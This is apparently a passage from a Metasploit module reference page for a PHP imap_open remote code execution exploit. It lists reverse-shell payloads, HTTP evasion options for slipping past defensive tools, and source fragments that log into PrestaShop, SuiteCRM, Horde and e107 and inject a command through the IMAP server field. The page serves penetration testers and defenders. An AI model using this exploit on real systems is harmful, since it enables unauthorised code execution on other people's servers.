   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/http/php_imap_open_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/php_imap_open_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

85:	          'action' => 'Login',
86:	          'module' => 'Users'
87:	        }
88:	      )
89:	      unless res
90:	        print_error('Error loading site.  Check options.')
91:	        return
92:	      end
93:	
94:	      if res.code = 200
95:	        return CheckCode::Detected

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

95:	        return CheckCode::Detected
96:	      end
97:	    elsif target.name =~ /Horde IMP H3/
98:	      res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'imp', 'test.php')})
99:	      unless res
100:	        print_error('Error loading site.  Check options.')
101:	        return
102:	      end
103:	      major, minor = res.body.scan(/PHP Major Version: (?<major>5\.[1-6]{1})<\/li>\s+<li>PHP Minor Version: (?<minor>[\d]?\d)/).flatten
104:	      phpversion = "#{major}.#{minor}"
105:	      if res.code == 200 && res.body =~ /PHP Mail Server Support Test/ && phpversion != '.'

PHP Version <PHPVERSION> is NOT vulnerable, patched in 5.6.39.


Here is a relevant code snippet related to the "PHP Version <PHPVERSION> is NOT vulnerable, patched in 5.6.39." error message:

105:	      if res.code == 200 && res.body =~ /PHP Mail Server Support Test/ && phpversion != '.'
106:	        if Rex::Version.new(phpversion) < Rex::Version.new('5.6.39')
107:	          vprint_good("PHP Version #{phpversion} is vulnerable")
108:	          return CheckCode::Appears
109:	        else
110:	          vprint_bad("PHP Version #{phpversion} is NOT vulnerable, patched in 5.6.39.")
111:	        end
112:	      end
113:	    end
114:	  CheckCode::Safe
115:	  end

Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3


Here is a relevant code snippet related to the "Admin redirect not found, check URI. Should be something similar to /admin2769gx8k3" error message:

125:	  def exploit
126:	    if target.name =~ /prestashop/
127:	      uri = normalize_uri(target_uri.path)
128:	      res = send_request_cgi({'uri' => uri})
129:	      if res && res.code != 301
130:	        print_error('Admin redirect not found, check URI.  Should be something similar to /admin2769gx8k3')
131:	        return
132:	      end
133:	
134:	      #There are a bunch of redirects that happen, so we automate going through them to get to the login page.
135:	      while res.code == 301 || res.code == 302

Unable to find token and redirect URL, check options.


Here is a relevant code snippet related to the "Unable to find token and redirect URL, check options." error message:

143:	      /.*token=(?<token>\w{32})/ =~ uri
144:	      /id="redirect" value="(?<redirect>.*)"\/>/ =~ res.body
145:	      cookie = res.get_cookies
146:	
147:	      unless token && redirect
148:	        print_error('Unable to find token and redirect URL, check options.')
149:	        return
150:	      end
151:	
152:	      vprint_status("Token: #{token} and Login Redirect: #{redirect}")
153:	      print_status("Logging in with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

Invalid Login


Here is a relevant code snippet related to the "Invalid Login" error message:

167:	        'vars_get' => {
168:	          'rand' => '1542582364810' #not sure if this will hold true forever, I didn't see where it is being generated
169:	        }
170:	      )
171:	      if res && res.body.include?('Invalid password')
172:	        print_error('Invalid Login')
173:	        return
174:	      end
175:	      vprint_status("Login JSON Response: #{res.body}")
176:	      uri = JSON.parse(res.body)['redirect']
177:	      cookie = res.get_cookies

PHP IMAP mod not installed/enabled


Here is a relevant code snippet related to the "PHP IMAP mod not installed/enabled" error message:

221:	        }
222:	      )
223:	      print_status('IMAP server change left on server, manual revert required.')
224:	
225:	      if res && res.body.include?('imap Is Not Installed On This Server')
226:	        print_error('PHP IMAP mod not installed/enabled ')
227:	      end
228:	    elsif target.name =~ /suitecrm/
229:	      #login page GET /index.php?action=Login&module=Users
230:	      vprint_status('Loading login page')
231:	      res = send_request_cgi(

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

234:	          'action' => 'Login',
235:	          'module' => 'Users'
236:	        }
237:	      )
238:	      unless res
239:	        print_error('Error loading site.  Check options.')
240:	        return
241:	      end
242:	
243:	      if res.code = 200
244:	        cookie = res.get_cookies

HTTP code <RES.CODE> found, check options.


Here is a relevant code snippet related to the "HTTP code <RES.CODE> found, check options." error message:

241:	      end
242:	
243:	      if res.code = 200
244:	        cookie = res.get_cookies
245:	      else
246:	        print_error("HTTP code #{res.code} found, check options.")
247:	        return
248:	      end
249:	
250:	      vprint_status("Logging in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
251:	      res = send_request_cgi(

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

268:	          'username_password' => datastore['PASSWORD'],
269:	          'Login' => 'Log+In'
270:	        }
271:	      )
272:	      unless res
273:	        print_error('Error loading site.  Check options.')
274:	        return
275:	      end
276:	
277:	      if res.code = 302
278:	        cookie = res.get_cookies

Failed Login, check options.


Here is a relevant code snippet related to the "Failed Login, check options." error message:

276:	
277:	      if res.code = 302
278:	        cookie = res.get_cookies
279:	        print_good('Login Success')
280:	      else
281:	        print_error('Failed Login, check options.')
282:	      end
283:	
284:	      #load the email settings page to get the group_id
285:	      vprint_status('Loading InboundEmail page')
286:	      res = send_request_cgi(

Error loading site.


Here is a relevant code snippet related to the "Error loading site." error message:

291:	          'action' => 'EditView'
292:	        }
293:	      )
294:	
295:	      unless res
296:	        print_error('Error loading site.')
297:	        return
298:	      end
299:	
300:	      /"group_id" value="(?<group_id>\w{8}-\w{4}-\w{4}-\w{4}-\w{12})">/ =~ res.body
301:	

Could not identify group_id from form page


Here is a relevant code snippet related to the "Could not identify group_id from form page" error message:

298:	      end
299:	
300:	      /"group_id" value="(?<group_id>\w{8}-\w{4}-\w{4}-\w{4}-\w{12})">/ =~ res.body
301:	
302:	      unless group_id
303:	        print_error('Could not identify group_id from form page')
304:	        return
305:	      end
306:	
307:	      print_good("Sending payload with group_id #{group_id}")
308:	

Triggered CSRF protection, may try exploitation manually.


Here is a relevant code snippet related to the "Triggered CSRF protection, may try exploitation manually." error message:

354:	          'email_num_autoreplies_24_hours' => '10',
355:	          'leaveMessagesOnMailServer' => '1'
356:	        }
357:	      )
358:	      if res && res.code == 200
359:	        print_error('Triggered CSRF protection, may try exploitation manually.')
360:	      end
361:	      print_status('IMAP server config left on server, manual removal required.')
362:	    elsif target.name =~ /Horde IMP H3/
363:	      # The original EDB module claims "Version: All IMP versions", however the current
364:	      # major branch https://github.com/horde/imp/tree/74e3f5fdbac31dfcff15195832c1b9b888767982

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

379:	          'server'      => "x #{command}}",
380:	          'server_type' => 'imap',
381:	          'user'        => Rex::Text.rand_text_alphanumeric(8)
382:	      })
383:	      unless res
384:	        print_error('Error loading site.  Check options.')
385:	        return
386:	      end
387:	    elsif target.name =~ /e107v2/
388:	      # e107 has an encoder which prevents $IFS$() from being used as $ = &#036;
389:	      # \t also became /t, however "\t" does seem to work.

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

401:	          'authname' => datastore['USERNAME'],
402:	          'authpass' => datastore['PASSWORD'],
403:	          'authsubmit' => 'Log In'
404:	      })
405:	      unless res
406:	        print_error('Error loading site.  Check options.')
407:	        return
408:	      end
409:	
410:	      if res.code == 302
411:	        cookie = res.get_cookies

Failed Login, check options.


Here is a relevant code snippet related to the "Failed Login, check options." error message:

409:	
410:	      if res.code == 302
411:	        cookie = res.get_cookies
412:	        print_good('Login Success')
413:	      else
414:	        print_error('Failed Login, check options.')
415:	      end
416:	
417:	      vprint_status('Checking if Cron is enabled for triggering')
418:	      res = send_request_cgi(
419:	        'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

418:	      res = send_request_cgi(
419:	        'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
420:	        'cookie' => cookie
421:	      )
422:	      unless res
423:	        print_error('Error loading site.  Check options.')
424:	        return
425:	      end
426:	      if res.body.include? 'Status: <b>Disabled</b>'
427:	        print_error('Cron disabled, unexploitable.')
428:	        return

Cron disabled, unexploitable.


Here is a relevant code snippet related to the "Cron disabled, unexploitable." error message:

422:	      unless res
423:	        print_error('Error loading site.  Check options.')
424:	        return
425:	      end
426:	      if res.body.include? 'Status: <b>Disabled</b>'
427:	        print_error('Cron disabled, unexploitable.')
428:	        return
429:	      end
430:	
431:	      print_good('Storing payload in mail settings')
432:	

Error loading site. Check options.


Here is a relevant code snippet related to the "Error loading site. Check options." error message:

473:	        'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
474:	        'cookie' => cookie
475:	      )
476:	
477:	      unless res
478:	        print_error('Error loading site.  Check options.')
479:	        return
480:	      end
481:	
482:	      if /name='e-token' value='(?<etoken>\w{32})'/ =~ res.body && /_system::procEmailBounce.+?cron_execute\[(?<cron_id>\d)\]/m =~ res.body
483:	        print_good("Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}")

e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger.


Here is a relevant code snippet related to the "e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger." error message:

498:	            "cron_execute[#{cron_id}]" => '1',
499:	            'etrigger_batch' => ''
500:	        })
501:	
502:	      else
503:	        print_error('e-token not found, required for manual exploitation.  Wait 60sec, cron may still trigger.')
504:	      end
505:	
506:	      print_status('IMAP server config left on server, manual removal required.')
507:	    elsif target.name =~ /custom/
508:	      print_status('Listener started for 300 seconds')

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Anton Lopanitsyn
  • Twoster
  • h00die
  • Paolo Serracino
  • Pietro Minniti
  • Damiano Proietti

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.